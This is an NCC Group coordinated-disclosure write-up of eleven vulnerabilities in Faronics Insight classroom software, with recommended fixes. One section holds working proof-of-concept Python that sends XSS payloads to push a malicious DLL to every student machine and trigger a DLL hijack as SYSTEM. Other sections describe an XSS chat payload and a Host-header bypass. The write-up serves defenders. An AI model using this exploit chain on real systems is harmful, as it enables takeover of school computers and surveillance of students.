Faronics Insight is a feature rich software platform which is deployed on premises in schools. The application enables teachers to administer, control and interact with student devices. The application contains numerous features, including allowing teachers to transfer files to/from students and remotely viewing the contents of student screens.

Generally speaking, the architecture of the application is a classic client/server model – the “server” is the Teacher Console and each “client” is a Student Console deployed on every student machine in a classroom.

A number of flaws were identified in the Faronics Insight software product, with consequences ranging from person-in-the-middle attacks on data transmitted between Student Consoles and Teacher Consoles to Remote Code Execution (RCE) as SYSTEM on any active Student or Teacher console.

Overall, 11 vulnerabilities were identified, with links to their technical advisories below:

1. Numerous DLL Hijacking Vulnerabilities in Teacher and Student Consoles
2. Systemic Stored and Reflected Cross Site Scripting Flaws (CVE-2023-28350)
3. RCE As SYSTEM Via Unauthenticated File Upload API (CVE-2023-28353)
4. RCE as SYSTEM via Artificial Student Console and XSS (CVE-2023-28347)
5. RCE as SYSTEM via Artificial Teacher Console (CVE-2023-28349)
6. All Data Transmitted in Plaintext Enabling MITM (CVE-2023-28348)
7. Enhanced Security Mode May Be Bypassed (CVE-2023-28352)
8. Virtual Host Routing Can Be Defeated (CVE-2023-28346)
9. Keystroke Logs Are Stored in Plaintext in a World Readable Directory (CVE-2023-28351)
10. Lack of Access Controls on Student APIs (CVE-2023-28344)
11. Teacher Console Credentials Exposed via API Endpoint (CVE-2023-28345)

Vulnerability research was performed against Faronics Insight v11.21.2100.262 available on https://faronics.com.

Risk: High (8.2 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.)

Summary

The Teacher Console Server and Student Console Agents both attempt to load a variety of system DLLs in an unsafe manner.

Impact

Because the Teacher Console Server and Student Console Agent processes both execute as the SYSTEM user, total system compromise can be achieved when a malicious DLL is loaded inadvertently.

Details

Windows applications make use of Dynamically Linked Libraries (DLL) files to add or reference additional functionality exposed by those DLLs. DLL files are typically loaded when applications first start up, and the application typically knows precisely where the DLL files are located in order to load them as quickly as possible.

In cases where the DLL file’s path is not hardcoded (“sas.dll” as opposed to “C:\Windows\System32\sas.dll” for example), Windows will look for the file in a specific order –

• The directory the application is being loaded from
• The C:\Windows\system32 directory
• The C:\Windows directory
• The directories located in the PATH environment variable.

This is generally sufficient, because developer-supplied DLLs should be loaded from the same directory that the application runs from.

During this vulnerability research, it was observed that both the student and teacher agent/servers respectively attempt to load Microsoft DLLs from the application’s installation directory, as this screenshot from ProcMon demonstrates –

The screenshot above shows three instances where FITeacherSVC.exe (which runs as SYSTEM) attempts to load a system DLL from the current working directory rather than the intended directory.

Combined with the other vulnerabilities identified in this application during this vulnerability research, it was possible to place a malicious “sas.dll” into the “C:\Program Files\Faronics\Insight Teacher” (and Insight Student) directory, granting code execution on the next Faronics Insight restart.

Overall the following system DLLs are being loaded unsafely in the student and teacher consoles –

• WTSAPI32.dll
• sas.dll
• USERENV.dll
• WINSTA.dll
• Profapi.dll
• Dbghelp.dll
• IPHLPAPI.dll
• WINMM.dll
• CRYPTBASE.DLL
• Powrprof.dll
• UMPDC.dll
• Sspicli.dll
• Node.dll

Recommendation

System DLLs, which are guaranteed to be present inside of Windows system directories (C:\Windows, C:\Windows\SYSTEM32) should have their include paths hardcoded. Instead of linking to, for example, “sas.dll” in the build environment it is safer to link to “C:\Windows\System32\sas.dll” directly.

Risk: High (8.7 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:H)

Summary

Attacker supplied input is not validated/sanitized prior to being rendered in both the Teacher and Student Console applications, enabling the attacker to execute JavaScript in these applications.

Impact

Due to the rich and highly privileged functionality offered by the Teacher Console, the ability to silently exploit Cross Site Scripting (XSS) on the Teacher’s machine enables RCE on any connected student machine (and the teacher’s machine).

Details

Cross Site Scripting (XSS) is a vulnerability category commonly found in web applications. The vulnerability occurs when applications accept user supplied input and then render it directly on a webpage without first sanitizing it / ensuring that it is safe. When unsanitized user input is rendered in a web application it can frequently be used to execute JavaScript in a victim’s browser.

Both the Teacher and Student Insight UI applications are “Electron” applications, meaning that they are effectively rich JavaScript-based web applications embedded inside of an executable file. Because Electron apps are essentially web applications, they are especially vulnerable to XSS vulnerabilities and significant attention must be paid to input validation.

During this vulnerability research, NCC Group researchers observed that there is almost no input validation present across either of the Insight UI applications, allowing for trivial compromise via XSS.

Some of the many identified XSS vectors are listed below –

• Keystroke logs
• Student device login names
• Student desktop names
• Class ID
• Quiz names
• Chat messages*

It is worth noting that some of the above XSS vectors are only exploitable by directly HTTP POSTing malicious data to the API, which is then rendered unsafely in the UI. In general, the barrier to storing malicious payloads in the UI is because of field length restrictions, rather than any input validation in the UI.

“Chat messages” above is marked with an asterisk because chat messages are generally sanitized, however it was observed that messages containing “<b> </b>”, “<a> </a>” and “<i> </i>” are not sanitized (presumably to enable formatted messages between teacher and student.) and are therefore exploitable by sending malicious messages such as “<b> </b><script>alert(“NCC Group XSS”);</script>”. A slightly more sophisticated example of this in action can be seen below –

As noted above in the impact statement, the lack of input sanitization in the Faronics Insight product is especially dangerous because the product exposes numerous JavaScript functions which can be used to transfer files to / from various machines, start / stop executables on student machines, uninstall the insight product, software-lock workstations etc.

Recommendation

When rendering user submitted data in either the Student or Teacher console, encode the output based on the appropriate context of where the output is included. Content placed into HTML needs to be HTML-encoded, for example. To work in all situations, HTML encoding functions should encode the following characters: single and double quotes, backticks, angle brackets, forward and backslashes, equals signs, and ampersands.

An additional line of defense is to perform validation on both the presentation tier, in the client-side JavaScript, and on the server-side, in the Express server. Validating input in both tiers of the application will help to ensure that users cannot simply circumvent client side controls by simply submitting malicious payloads to the server.

Risk: Critical (9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Summary

An unauthenticated attacker is able to upload any type of file to any location on the Teacher Console’s computer, enabling a variety of different exploitation paths including code execution. It is also possible for the attacker to chain this vulnerability with other identified (and disclosed) vulnerabilities to cause a deployed DLL file to immediately execute as SYSTEM.

Impact

A remote unauthenticated attacker can gain code execution as SYSTEM on the teacher’s computer, this is the highest privilege level in Windows and constitutes a total system compromise.

Details

The Faronics Insight teacher application contains functionality which is able to force student devices to upload files from a given folder on their machine. This functionality operates as follows –

• Teacher Console sends an “uploadstudentfile” WebSocket message to a given Student Console
  • This message contains the source path, source file name and destination on the Teacher Console to save the file to.
• Student Console sends the file over an unauthenticated HTTP POST multipart request, complete with the downloaded file, file name and destination path
• The ‘FITeacherServer.exe’ process (which runs as SYSTEM) writes the file to the destination path, anywhere on disk.

It was observed as part of this vulnerability research that a network connected attacker with knowledge of a student’s agent ID, which is trivial to obtain by abusing Faronics UDP broadcast discovery mechanism, is able to send arbitrary files to this API endpoint and deploy them anywhere on the teacher’s disk.

At this point there are clearly numerous different ways that this could be abused to obtain privileged code execution, ranging from deploying the file to an administrator’s “Startup” directory to overwriting any number of files under C:\Windows\System32 to achieve persistence as SYSTEM.

NCC Group researchers instead chose to chain three vulnerabilities in Faronics Insight together to achieve a more immediate RCE as SYSTEM –

1. Upload a malicious copy of “sas.dll” to “C:\Program Files\Faronics\Insight Student” using the API
2. Leverage the “Fake Student Console” zero click XSS vulnerability to call “<script>relaunchInsight();</script>”, restarting the Teacher Console process
3. Leverage the DLL hijacking vulnerability such that when Insight relaunches, it attempts to load the malicious “sas.dll” DLL file and executes the malicious code within as SYSTEM.

The following screenshot demonstrates the result of this exploit chain, that a new administrator named OLIVER_BROOKS_NCC2 was created –

Recommendation

NCC Group recommends that additional access controls are implemented which restrict an unauthorized/unauthenticated attacker from submitting files to the API. These access controls could be implemented by requiring valid Student Consoles to submit a valid session ID cookie with every HTTP request.

NCC Group recommends that the Teacher Console is updated to restrict file uploads to a particular directory, this will help to ensure that in the event of a Student Console compromise, an attacker is unable to persist files in arbitrary locations on the Teacher’s file system.

Finally, NCC Group recommends that some consideration is given to the principal of least privilege. If the “FITeacherServer.exe” could successfully function when executed by a lower privileged user then it would be safer to do so, this would greatly lower the severity of any code execution vulnerabilities which emerge in the future.

Risk: Critical (9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Summary

It is possible for an attacker to create a proof of concept script which functions similarly to a Student Console, providing unauthenticated attackers with the ability to exploit XSS vulnerabilities within the Teacher Console application and gain RCE in a ‘Zero Click’ manner.

Impact

Due to the rich and highly privileged functionality offered by the Teacher Console, the ability to silently exploit XSS on the Teacher Machine enables remote code execution on any connected student machine (and the teacher’s machine).

Details

NCC Group researchers observed that, in the default installation configuration, the Teacher Console application contains no authentication or authorization logic when allowing Student Consoles to connect. Because of this, it is possible for an attacker to create their own “Student Console” like application which is purpose-built to exploit flaws in the Teacher Console and connected Student Consoles.

As noted in the Technical Advisory named “RCE as SYSTEM via Artificial Teacher Console”, after going through the UDP handshake process, Student Consoles automatically open a WebSocket connection with the Teacher Console and begin receiving instructions.

NCC Group researchers also observed that when a malicious (artificial) Student Console is created, it is possible to exploit a Cross Site Scripting vulnerability in the “loggedInUser” field of the initial “updateSTAgentStatus” call. The Teacher Console simply renders whatever “loggedInUser” field is provided straight into the DOM and any JavaScript in that field is immediately executed without any user interaction.

As such, a small proof of concept exploit was developed which performs the following steps –

• Abuses the UDP broadcast API to get all active student IDs
• Abuses the UDP broadcast API to get the teacher’s IP and ID
• Uploads a malicious DLL file to the teacher’s machine using the “/api/uploadFiles” endpoint
• Creates a WebSocket connection to the Teacher Console
• For every active student, it submits a malicious “updateSTAgentStatus” HTTP request to the teacher which contains the following XSS payload –

# Start compromising all students.
for student in studentIDs:
    # Inspiration for this exploit from teacher.js line 12213
    # Send the DLL to the students
    json={
        "macAddresses":"00:00:00:00:00:00",
        "ipAddresses":"999.999.999.999",
        "loggedInUser":"<script>sendActionOnSocket({type: 1,handlerFuncName : \"updateAgent\",data: {fileName:\"../../../../Program Files/Faronics/Insight Student/sas.dll\", downloadFilePath:\"/installers/sas.dll\"}, targets: [\""+student+"\"]});</script>",
        "os":"windows",
        "hostName":"DESKTOP-irrelevant",
        "limiting":{"web":0,"apps":0,"print":0,"drives":0,"lockScreen":0,"muteSpeaker":0,"lockKbdM":0},
        "lastKnownState":{"assessmentMode":0,"handRaised":0,"monitorIndex":0},
        "monitorCount":1,
        "screenSharingAllowed":True,
        "isUserLoggedIn":True,
        "canChangePreferredName":True,
        "hasMic":True,
        "version":"11.21.2100.262",
        "agentId":desiredMachineID.decode("ascii"),
        "classId":"Class101","preferredName":""
    }

    requests.post(f"http://{teacherIP}:8890/api/updateSTAgentStatus/{desiredMachineID.decode('ascii')}", json=json)

Observe that within the “loggedInUser” field is a JavaScript payload which compels a Student Console to execute the “updateAgent” command by retrieving the malicious “sas.dll” file and deploying it to the Faronics Insight installation directory. The proof of concept then abuses the XSS vulnerability again to force all connected Student Consoles to restart using the “restartInsightAgent” command –

time.sleep(3)

    # Instruct the students to restart insight, causing the DLL to be loaded and execute, creating a new user (OLIVER_BROOKS_NCC2:FaNcYfEaSt%2)
    json={
        "macAddresses":"00:00:00:00:00:00",
        "ipAddresses":"999.999.999.999",
        "loggedInUser":"<script>sendActionOnSocket({type: 1,handlerFuncName : \"restartInsightAgent\",targets: [\""+student+"\"]});</script>",
        "os":"windows",
        "hostName":"DESKTOP-irrelevant",
        "limiting":{"web":0,"apps":0,"print":0,"drives":0,"lockScreen":0,"muteSpeaker":0,"lockKbdM":0},
        "lastKnownState":{"assessmentMode":0,"handRaised":0,"monitorIndex":0},
        "monitorCount":1,
        "screenSharingAllowed":True,
        "isUserLoggedIn":True,
        "canChangePreferredName":True,
        "hasMic":True,
        "version":"11.21.2100.262",
        "agentId":desiredMachineID.decode("ascii"),
        "classId":"Class101","preferredName":""
    }

    requests.post(f"http://{teacherIP}:8890/api/updateSTAgentStatus/{desiredMachineID.decode('ascii')}", json=json)

At this point, code execution as SYSTEM has been achieved on every connected student’s machine.

Finally, the script uploads the same malicious DLL file to the teacher’s Faronics Insight installation directory and compels the Teacher Console to restart by abusing the XSS vulnerability –

# All students are compromised at this point, now we get RCE on the teacher too using the same trick
# Step 4: Send the DLL again and put it in the Insight Teacher directory to get RCE on the teacher
sharedCode.sendFileToTeacher(teacherIP, desiredMachineID.decode("ascii"), localPath, "C:\\Program Files\\Faronics\\Insight Teacher\\", True)

# Quick sleep to make sure everything's planted correctly.
time.sleep(3)

# Step 5: Use XSS to trigger a restart on the teacher machine using the relaunchInsight(); Javascript function
json={
    "macAddresses":"00:00:00:00:00:00",
    "ipAddresses":"999.999.999.999",
    "loggedInUser":"<script>relaunchInsight();</script>",
    "os":"windows",
    "hostName":"DESKTOP-irrelevant",
    "limiting":{"web":0,"apps":0,"print":0,"drives":0,"lockScreen":0,"muteSpeaker":0,"lockKbdM":0},
    "lastKnownState":{"assessmentMode":0,"handRaised":0,"monitorIndex":0},
    "monitorCount":1,
    "screenSharingAllowed":True,
    "isUserLoggedIn":True,
    "canChangePreferredName":True,
    "hasMic":True,
    "version":"11.21.2100.262",
    "agentId":desiredMachineID.decode("ascii"),
    "classId":"Class101","preferredName":""
}

requests.post(f"http://{teacherIP}:8890/api/updateSTAgentStatus/{desiredMachineID.decode('ascii')}", json=json)

# Step 6: cleanup and be stealthy
# Not yet implemented

sio.disconnect()

At this point, RCE has been achieved on the teacher’s machine and every connected student’s machine by abusing a zero-click XSS vulnerability.

It should be noted, however, that the artificial Student Console could be amended to abuse the XSS vulnerability in any number of ways, including scraping all active Student Console’s file systems and overwriting critical system files to achieve a persistent Denial of Service.

Recommendation

As noted in the other provided Technical Advisories in this bundle, NCC Group strongly recommends that the Teacher Console is updated to require authentication from any Student Console, including requiring a valid session cookie or JWT with every HTTP request from a Student Console.

Requiring authentication with every request will help to mitigate this vulnerability, because it will remove an attacker’s ability to create and operate artificial Student Consoles.

Risk: Critical (9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Summary

It is possible for an attacker to create an exploit which functions similarly to the Teacher Console, which compels Student Consoles to connect and exploit themselves automatically.

Impact

Remote attackers are able to gain covert remote code execution and surveillance capabilities on student machines by masquerading as a valid Teacher Console.

Details

As part of this vulnerability research, researchers spent some time analysing how Student Consoles and Teacher Consoles connect to one another in the default configuration. The following steps were observed before any connection is made.

1. The Student Console Windows service (FIStudentSvc.exe) starts, which starts the Student Agent (FIStudentAgent.exe) as SYSTEM
2. The Teacher Console Windows service (FITeacherSvc.exe) is started, which starts the Teacher Server (FITeacherServer.exe) as SYSTEM
3. The Teacher Server begins making periodic “DISCO” (discovery) UDP broadcasts to 255.255.255.255 on port 8889 indicating that the teacher console is available
4. All active Student Agent applications respond directly to those broadcasts with a UDP RESP (response) packet. The RESP packet contains their “agent ID”, a unique UUID-like identifier for that Student.
5. The Teacher then sends a UDP START packet to the student, which compels them to automatically perform the following four steps –
   • Make a HTTP request to the Teacher Console at “/api/getClassSettings” to obtain some basic settings about the class
   • Make a HTTP request to “/api/updateSTAgentStatus” to provide the Teacher with some basic details about the Student Console
   • Make a HTTP request to the Teacher at the “/socket.io/” endpoint to start a Websocket session where the Teacher Console Command and Control is performed
   • Make repeated HTTP requests to the API endpoints at “/api/uploadscreenshots” and “/api/appKeystrokeLogs” which provide the Teacher Console with an image of the student’s desktop and a running record of every key that the student types.

At no point during the above sequence of operations is any kind of cryptographic handshake performed to ensure the validity of a Teacher Console, the Student Console is simply compelled to connect and begin divulging keylogger data and screenshots simply by virtue of being provided the UDP “START” packet.

Once the WebSocket connection is setup, a Teacher Console can begin sending commands to the student desktop like “downloadFile”, “launchApp” and “restartInsight”. Having the ability to compel a Student Console to execute these commands paves the way for arbitrary file write and RCE as SYSTEM.

NCC Group researchers created a proof of concept which sends the DISCO UDP broadcast, sends a START packet to any student which responds and then spins up a websocket / HTTP server to handle all requests from the connecting Student Console. The proof of concept then deploys “sas.dll” to the Faronics Student installation directory, commands the application to restart with the “restartInsight” WebSocket command and achieves RCE as SYSTEM using the DLL hijacking vulnerability described in the DLL Hijacking technical advisory.

Recommendation

NCC Group strongly recommends that the initial UDP broadcast challenge/response system is amended to include some form of cryptographic handshake, using a either a pre-shared key which is set at application install time for both the Teacher Console and Student Consoles or alternatively both Student and Teacher consoles could reach out to a Faronics cloud API to obtain a keypair which could be used for authentication. If the Student Console was able to verify that they are connecting to a legitimate Teacher Console by decrypting a “challenge” in the DISCO packet and sending an encrypted “response” in the RESP packet then this vulnerability would be immediately mitigated.

Risk: High (7.1 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N)

Summary

Data transmitted between Student Consoles and Teacher Consoles is sent over plaintext HTTP and plaintext WebSockets.

Impact

A suitably positioned attacker could perform a person-in-the-middle attack on either a connected student or teacher and intercept student keystrokes or modify executable files being sent from teachers to students.

Details

The Faronics Insight application allows teachers (running the Teacher Console) to administer student devices (running the Student Console). The Teacher Console compels Student Consoles to perform various activities by sending commands over WebSockets, the Student Console responds to these commands either directly over the WebSocket or using the HTTP API exposed by the Teacher Console on port 8890.

Because neither the webserver nor the WebSocket server utilize TLS, it is possible for an attacker to perform a classic ‘person-in-the-middle’ attack to intercept, monitor and manipulate communications between teachers and students.

Recommendation

NCC Group recommends that Faronics ensures that all API traffic and WebSocket traffic is sent over HTTPS and TLS enabled WebSockets. Socket.IO (the WebSocket library used by this application suite) supports TLS out of the box according to the documentation.

Risk: High (8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Summary

Each of the vulnerabilities identified within this bundle of Technical Advisories all execute successfully even when Enhanced Security Mode is enabled.

Impact

An attacker controlled artificial Student Console can connect to and attack a Teacher Console even after Enhanced Security Mode has been enabled.

Details

The Faronics Insight Teacher and Student Consoles expose a function at either install time or at runtime called “Enhanced Security”. This functionality is intended to prevent arbitrary Student Consoles from being able to connect to a class, as well as to prevent arbitrary Teacher Consoles from presenting themselves and compelling Student Consoles to join them.

The Enhanced Security functionality forms an effective security measure against unmodified and legitimate Consoles. If a Student Console and Teacher Console do not have the same Enhanced Security key, a student will not be able to join a teacher, and a teacher will not be able to compel a student to join.

It can be seen here within Wireshark that when Enhanced Security mode is enabled on both Consoles, two Consoles will be unable to discover each other with UDP broadcasts if they have differing keys –

It appears that this functionality works by setting an encoded or encrypted section in the UDP broadcasts, which the other party is able/unable to decrypt if their keys match/don’t match respectively.

As part of this vulnerability research, NCC Group researchers observed that if UDP DISCO / RESP / START broadcast packets were simply transmitted without the encoded payload by an artificial Teacher or Student Console then both students and teachers would respond to them, allowing the malicious Console to complete the handshake successfully and either compel Student Consoles to connect or to successfully connect to a Teacher Console as appropriate.

Because of this, each of the supplied Technical Advisories are valid and each of the developed proof-of-concept scripts execute successfully even when Enhanced Security mode is enabled.

Recommendation

NCC Group recommends that the Enhanced Security mechanisms are updated in both the Teacher and Student Consoles such that if a UDP broadcast is received which doesn’t contain the encoded portion then it is simply ignored. This will act as an effective mitigation against malicious Teacher Consoles compelling Student Consoles to connect.

NCC Group also recommends that the Teacher Console is updated to validate that connections are being made from a Student Console which also has both Enhanced Security enabled, and has the correct Enhanced Security key set. This could be validated as part of a HTTP header containing an encrypted and encoded payload, for example.

Risk: Low (2.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

Summary

It is possible for a remote attacker to communicate with the private API endpoints exposed on “/login”, “/consoleSettings”, “/console” etc. despite Virtual Host Routing being used to block this access.

Impact

Remote attackers can interact with private pages on the webserver, enabling them to perform privileged actions such as logging into the console and changing console settings if they have valid credentials.

Details

The Faronics Insight Teacher Console exposes a HTTP server on port 8890. The server offers a set of public API endpoints under “/api/*’ which don’t require any authentication. These endpoints are used by Student Consoles to transmit data back and forth from the Teacher Console.

The webserver on port 8890 also exposes another set of endpoints such as “/login”, “/consoleSettings”, “/console” which are only accessible if the user attempts to access them using, for example, http://127.0.0.1:8890 or http://localhost:8890. Attempts to communicate with the webserver remotely are blocked with a 404 error.

During this vulnerability research, it was identified that it’s possible to supply a HTTP “Host” header with a value of “localhost:8890” in order to defeat this control and access the console remotely. Defeating the Virtual Host Routing control enables any network connected attacker to begin auditing and attacking the product as if they were situated on localhost.

Recommendation

NCC Group anticipates that Faronics developers are likely using a library such as VHost as Virtual Host Routing middleware for Express. In addition to using such a middleware, NCC Group suggests that each of the private (localhost only) API endpoints implement a check to ensure that the IP address of the HTTP requestor is either “localhost” or “127.0.0.1”.

An alternative solution which requires more extensive architectural changes would be to setup a second webserver which hosts the private API endpoints, configured to only listen for HTTP traffic from localhost.

Risk: Medium (6.5 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Summary

Every keystroke made by any user on a computer with Faronics Insight Student installed is logged to a world readable directory.

Impact

An attacker with physical or local access to a computer with Faronics Insight installed can trivially extract the plaintext keystrokes of any student who has used the machine, potentially enabling them to obtain PII and/or to compromise personal accounts owned by the victim.

Details

The Faronics Insight Student Console application silently logs every keystroke made by a user, these keystroke logs are periodically transmitted as a JSON payload over a HTTP WebSocket to the Teacher Console where they are made available for the teacher to view them.

During this vulnerability research, it was observed that the keystroke logs are stored in “C:\ProgramData\Faronics\Insight\Data\KeyLogs”, a world readable folder where every individual plaintext keystroke log is readable by any user on the Student Console machine.

It’s unclear how long these log files remain present in this directory before they are purged, but their presence on the machine constitutes a threat to the privacy of the user’s whose keys are being logged by Faronics Insight.

Recommendation

NCC Group recommends that all keystroke logging activity is performed in memory as opposed to storing files on disk, so that after keystrokes are transmitted to the Teacher Console there is no trace of the keystroke logs remaining on disk. Alternatively, if the logs must be kept on disk for a short amount of time, then the “C:\ProgramData\Faronics\Insight\Data\KeyLogs” directory must have its permissions restricted such that only an administrator or SYSTEM can access them, additionally the files should be encrypted at rest in order to help to protect the student’s privacy.

Risk: Medium (6.5 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Summary

The Insight Teacher Console application allows unauthenticated attackers to view constantly updated screenshots of student desktops and to submit falsified screenshots on behalf of students.

Impact

Attackers are able to view screenshots of student desktops without their consent. These screenshots may potentially contain sensitive/personal data. Attackers can also rapidly submit falsified images, hiding the actual contents of student desktops from the Teacher Console.

Details

Student Consoles submit screenshots over HTTP POST to the Teacher Console’s webserver on the API endpoint at “/api/uploadscreenshot/agent_id”, where agent_id is the unique UUID-like string which uniquely identifies a connected student’s Console.

By default, Student Consoles will silently transmit a screenshot of the student’s desktop to the teacher every few seconds. The Teacher Console then retrieves these screenshots via HTTP GET from “/uploads/screenshots/agent_id.jpeg” and renders them in the Console. The API endpoint at “/uploads/screenshots/agent_id.jpeg” requires no authentication or authorization to view the uploaded images, because of this, a network connected attacker is able to obtain the images simply by navigating to the correct URL for a given agent ID.

Exposing these images to anyone on the network may potentially inadvertently leak a student’s Personally Identifiable Information (PII) to anyone who is able to guess or otherwise determine the student’s agent ID.

Additionally, because Student Consoles submit their screenshots reasonably quickly and because the Teacher API has no rate limiting measures in place, it is possible for an attacker to query the API rapidly and repeatedly in order to obtain a low framerate “video” feed of the student’s device.

In addition to a lack of access controls on the screenshot-retrieval API, there is also no access control present on the API endpoint which allows students to submit screenshots to the server (“/api/uploadscreenshot/agent_id”).

Lack of access controls on this API endpoint allows any network connected user to send images to the Teacher Console on behalf of a victim Student Console. When the Teacher Console receives these images it then immediately renders them instead of the targeted student’s actual desktop.

In addition to the above two access control lapses, there is also no access control present on the API endpoint which enables Student Consoles to upload the keystrokes that they’ve logged from users. Lack of access control on this API endpoint enables an attacker to submit arbitrary keystrokes to the API on behalf of a student, allowing them to decrease the quality of the logged keystrokes.

Recommendation

NCC Group recommends that the API is updated to only return student device screenshots when HTTP requests originate from localhost, this way the screenshots will not be available to users who attempt to interact with the API remotely.

Additionally, NCC Group recommends that access controls are implemented to prevent arbitrary users from submitting screenshots on behalf of students. Finally, as a general recommendation for the entire application, NCC Group recommends that the Teacher Console is updated to require that a unique session ID be provided with every HTTP request from Student Consoles. A unique session ID, combined with TLS, will help to ensure that requests from student consoles are legitimate.

Risk: Medium (4.0 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Summary

The Insight Teacher Console application exposes the teacher’s Console password in plaintext via an API endpoint accessible from localhost.

Impact

Attackers with physical access to the Teacher Console can open a web browser, navigate to the affected endpoint and obtain the teacher’s password. This enables them to log into the Teacher Console and begin trivially attacking student machines.

Details

The Faronics Insight Teacher Console exposes a HTTP server on port 8890. One of the API endpoints available only when making requests to the API from localhost is “/consoleSettings”, this API endpoint returns basic configuration details about the Teacher Console –

Included within this response is the teacher’s password in plaintext (along with the license key and console versions). Exposing this data in plaintext via the API enables an attacker with physical access to retrieve the teacher’s credentials and log in to the Teacher Console.

Because the Teacher Console enables teachers to remotely control student machines via a pseudo-VNC, access to the Teacher Console enables an attacker to trivially compromise any connected student machine.

Because of the flaws highlighted in the Technical Advisory named “Virtual Host Routing Can Be Defeated”, any network connected attacker can connect to this API endpoint and obtain these credentials.

Recommendation

NCC Group recommends against exposing credentials and license keys via API endpoints. As such, the “consoleSettings” API endpoint should be reconfigured to return a minimal set of configuration data to remove this attack vector.

If there is an unavoidable requirement to expose the credentials via this API endpoint, NCC Group strongly recommends that the data is first encrypted and then encoded with base64. This will require a small modification to enable API consumers to decrypt that data, but it will slightly minimize the risk of compromise.

• 02/01/2023 – First contact with vendor to setup a secure channel to share the vulnerabilities
• 02/01/2023 – Technical Advisories submitted to Faronics
• 02/23/2023 – Contact re-established with Faronics to check how the fixes were progressing
• 03/03/2023 – Re-established contact to set a firm disclosure date of April 28th
• 03/14/2023 – CVE numbers assigned and shared with Faronics
• 04/28/2023 – Contact made with Faronics to query the status of the fixes
• 05/01/2023 – Faronics indicated that the disclosure date would be missed, a QA build would be coming soon
• 05/03/2023 – A QA build of Faronics Insight was given to NCC Group to validate the fixes
• 05/04/2023 – The QA build was confirmed to have mitigated all of the identified vulnerabilities
• 05/17/2023 – Reached out to Faronics once again to enquire about their readiness to release the patch

I would like to praise the Faronics team on their professionalism, responsiveness and the commitment to the security of their product.

I would also like to thank Jeremy Boone, an NCC Group Technical Director, for his QA efforts and for always patiently answering any silly question which I pose to him.

Finally I’d like to thank my colleague Julian Yates for his QA efforts, and for being an excellent sounding board during this vulnerability research.

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Here are some related articles you may find interesting

View articles by category

Call us before you need us.

Our experts will help you.

Get in touch